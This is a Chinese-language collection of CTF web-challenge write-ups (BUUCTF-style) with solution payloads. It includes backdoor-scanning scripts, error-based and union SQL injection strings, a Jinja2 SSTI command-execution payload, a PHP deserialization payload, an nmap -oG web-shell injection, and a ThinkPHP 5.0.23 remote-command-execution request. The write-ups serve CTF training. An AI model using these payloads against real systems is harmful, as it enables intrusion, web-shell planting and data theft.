WEB- 高明的黑客
考点:通过$_GET或者$_POST传参回显
找到www.tar.gz,发现大量php文件
当时并没有多想,后来看了大佬们的wp才知道可以通过$_GET或者$_POST传参回显,可以写个脚本批量扫描一下文件里的$_GET和$_POST,然后统一赋值echo "got it",如果回显结果中包含got it,那么证明该文件为可用shell下附大佬们的脚本:
import os
import re
import requests
filenames = os.listdir(‘D:/phpStudy/PHPTutorial/WWW/src/‘)
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open(‘D:/phpStudy/PHPTutorial/WWW/src/‘+name,‘r‘) as f:
data = f.read()
result = list(set(pattern.findall(data)))
for ret in result:
try:
command = ‘echo "got it"‘
flag = ‘got it‘
# command = ‘phpinfo();‘
# flag = ‘phpinfo‘
if ‘GET‘ in ret:
passwd = re.findall(r"‘(.*)‘",ret)[0]
r = requests.get(url=‘http://127.0.0.1//src/‘ + name + ‘?‘ + passwd + ‘=‘+ command)
if "got it" in r.text:
print(‘backdoor file is: ‘ + name)
print(‘GET: ‘ + passwd)
elif ‘POST‘ in ret:
passwd = re.findall(r"‘(.*)‘",ret)[0]
r = requests.post(url=‘http://127.0.0.1//src/‘ + name,data={passwd:command})
if "got it" in r.text:
print(‘backdoor file is: ‘ + name)
print(‘POST: ‘ + passwd)
except : pass
或者这个也可以
import os
import requests
from multiprocessing import Pool
path = "D:/phpStudy/PHPTutorial/WWW/src/"
files = os.listdir(path)
url = "http://localhost/src/"
def extract(f):
gets = []
with open(path+f, ‘r‘) as f:
lines = f.readlines()
lines = [i.strip() for i in lines]
for line in lines:
if line.find("$_GET[‘") > 0:
start_pos = line.find("$_GET[‘") + len("$_GET[‘")
end_pos = line.find("‘", start_pos)
gets.append(line[start_pos:end_pos])
return gets
def exp(start, end):
for i in range(start, end):
filename = files[i]
gets = extract(filename)
print ("try: %s" % filename)
for get in gets:
new_url = "%s%s?%s=%s" % (url, filename, get, ‘echo "got it"‘)
r = requests.get(new_url)
if ‘got it‘ in r.content:
print (new_url)
break
def main():
pool = Pool(processes=15)
for i in range(0, len(files), len(files)/15):
pool.apply_async(exp, (i, +len(files)/15,))
pool.close()
pool.join()
if __name__ == "__main__":
main()
找到即可利用来getflag:http://web15.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG= cat /flag
flag
flag{1931fe87-4301-4a9e-a3db-90ac8f9c70a5}
WEB-hardsql
原理:报错注入
有了上次的经验,这次直接上双写注入,看来已经被过滤了
看来被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入,空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号,爆出来了数据库名
接下来我们来报表,password=admin‘^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(‘geek‘)))))%23
接下来我们来爆字段password=admin‘^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(‘H4rDsq1‘)))))%23
接下来我们爆破数据,把password爆破出来admin‘^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
貌似只有一半,出题人也是有茶艺使用{left(),right()}
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
‘flag{8d4f2e6b-08c7-4270‘
‘~b-08c7-4270-bb70-60ba1d725ddb}‘
flag
flag{8d4f2e6b-08c7-4270-bb70-60ba1d725ddb}
WEB-fakegoogle
考点:ssti模板注入
根据提示知道是ssti模板注入,使用tplmap进行注入。
这里由于tplmap安在了虚拟机中,可能连不上外网,这种办法最后可以得到flag
还有一种办法 用Payload测试之后发现是jinjia2的模板引擎,然后构造jinjia2 ssti的命令执行payload:{% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings‘ %}{{ c.init.globals[‘builtins‘].eval("import(‘os‘).popen(‘cat /flag‘).read()") }}{% endif %}{% endfor %}
WEB-[GXYCTF2019]BabySQli
考点:解码,sql注入
输入账号密码后,回显一串base32编码,进行MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5解码后c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==,继续base64解码select * from user where username = ‘$name‘,看来是username存在注入点,sqlmap打一波
继续数据库名
继续爆破表名
继续爆破字段名
继续爆破数据
尝试user=admin&pass=123 提示为wrong pass,再尝试user=aa提示wrong user,说明有admin这个user的。
尝试union联合注入,user=‘ union select 1,2,3 #不报错,user=‘ union select 1,2,3,4 #报错了当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
payload:name=1‘ union select 0,‘admin‘,‘81dc9bdb52d04dc20036dbd8313ed055‘%23&pw=1234
flag
flag{de342396-0e61-49cf-8039-58d374d72113}
WEB-[网鼎杯 2020 青龙组]AreUSerialz
考点:php反序列化、代码审计
一大串代码逐个函数进行分析
if(isset($_GET{‘str‘})) {
$str = (string)$_GET[‘str‘];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先这一部分:最重要的GET传值嘛,先接收$str然后用is_valid函数判断,检测通过就反序列化,直接搞一波
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) //是 chr() 函数(对于8位的ASCII字符串)或 unichr() 函数(对于Unicode对象)的配对函数
return false;
return true;
}
上一段就是上面提到的is_valid判断函数,可以看到传入的值ascll码要求在32到125之间,不然就会报错
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
读取文件函数,在我看来就是暗示filename=flag.php
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
如果op=2那么调用read函数读取,并且在output()函数里面输出
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
输出函数
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op=2强制变为1,所以可以构建payload
<?php
class FileHandler{
public $op=2; //这里不能加单引号,会报错
public $filename = ‘flag.php‘;
public $content;
}
echo serialize(new FileHandler);
payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}得到flag
flag
flag{230a1906-3900-4ad4-bd57-cdd4cd1d25f8}
WEB-easyjava
考点:
账号密码登入,回显错误,除了登陆还有一个help,点进去看看
这种形式有经验的都会换下请求方式,结果就可以了,初步推测此处的利用包含漏洞找flag文件。
首先报错是tomcat,包含下tomcat的web,xml试试,结果真的可以
hxxp://127.0.0.1/Downfile?filename=WEB-INF/web.xml
、
发现了com.wm.ctf.FlagController注意抛错路径,然后我们结合tomcat的项目存放路径经验试试下载FlagController.class试试果然是有
发现base64,解码试试看,得到flag
flag
flag{4947c2d5-0d34-4a4f-970e-bc86a856e7c0}
WEB-Online Tool
考点:
1.escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec(),system()执行运算符。2.escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$,\x0A和\xFF。‘和"仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及%和!字符都会被空格代替。
引用一个别人的例子:这里有一篇相关的文章。
1.传入的参数是:172.17.0.2‘ -v -d a=1
2.经过escapeshellarg处理后变成了‘172.17.0.2‘\‘‘ -v -d a=1‘,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成‘172.17.0.2‘\\‘‘ -v -d a=1\‘,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
4.最后执行的命令是curl ‘172.17.0.2‘\\‘‘ -v -d a=1\‘,由于中间的\\被解释为\而不再是转义字符,所以后面的‘没有被转义,与再后面的‘配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1‘,即向172.17.0.2\发起请求,POST 数据为a=1‘。
所以这里这些代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移,但是我们之前就说了,要利用nmap的-oG参数,所以我们就可以构造payload
?host=‘ <?php @eval($_POST["cmd"]);?> -oG hack.php ‘
连接蚁剑,得到flag
flag
flag{868b38ef-d296-4705-8870-597ceb9c5305}
WEB-[GYCTF2020]Blacklist
考点:堆叠注入
老朋友先堆叠注入一把
爆破数据库
爆破数据表
爆破列名
最后上大佬的payload:1‘;handler FlagHere open;handler FlagHere read first;handler FlagHere close;
flag
flag{58277645-a760-4721-afaa-35c41d181f15
WEB-[BJDCTF 2nd]old-hack
首先打开网站一看,映入眼球,thinkphp,但是不知道是什么版本的所以就想办法构造一个报错来让它显示一些更详细的信息http://59429912-fc6a-4d2d-945a-c1aabf47f19f.node3.buuoj.cn/?s=3
这样就可以看到thinkphp的版本了是5.0.23版本接下来就简单了求助度娘,查找thinkphp5.0.23对应版本的漏洞最后在网上找到了这样一篇,thinkphp5.0.23的远程命令执行的漏洞。之后就可以尝试这个RCE漏洞是否可以执行直接利用hackbar进行post传参,内容如下_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
发现可以,那就直接利用cat /flag查看flag,构造payload: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
flag
flag{f2197a96-718a-4742-8abe-eb475577a4ad}